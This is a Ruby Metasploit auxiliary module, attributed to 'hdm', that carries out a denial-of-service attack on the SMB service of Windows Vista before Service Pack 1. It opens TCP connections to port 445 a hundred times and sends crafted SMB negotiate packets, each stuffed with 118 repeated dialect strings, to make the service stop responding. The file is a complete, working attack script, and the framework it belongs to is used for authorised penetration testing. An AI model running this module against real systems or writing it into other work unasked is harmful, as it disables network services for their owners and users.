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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'English'
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',
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        'Description' => %q{
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          This module exploits a flaw in Windows Vista that allows a remote
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          unauthenticated attacker to disable the SMB service. This vulnerability
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          was silently fixed in Microsoft Vista Service Pack 1.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'OSVDB', '64341'],
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([Opt::RPORT(445)])
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  end
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  def run
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    print_status('Sending 100 negotiate requests...')
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    # 100 requests ensure that the bug is reliably hit
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    1.upto(100) do |i|
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      connect
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      # 118 dialects are needed to trigger a non-response
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      dialects = ['NT LM 0.12'] * 118
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      data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
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      pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
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      pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
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      pkt['Payload']['SMB'].v['Flags1'] = 0x18
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      pkt['Payload']['SMB'].v['Flags2'] = 0xc853
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      pkt['Payload'].v['Payload'] = data
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      pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)
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      pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)
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      sock.put(pkt.to_s)
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      disconnect
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    rescue ::Interrupt
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      raise $ERROR_INFO
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    rescue StandardError
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      print_error("Error at iteration #{i}: #{$ERROR_INFO.class} #{$ERROR_INFO}")
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      break
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    end
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  end
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end
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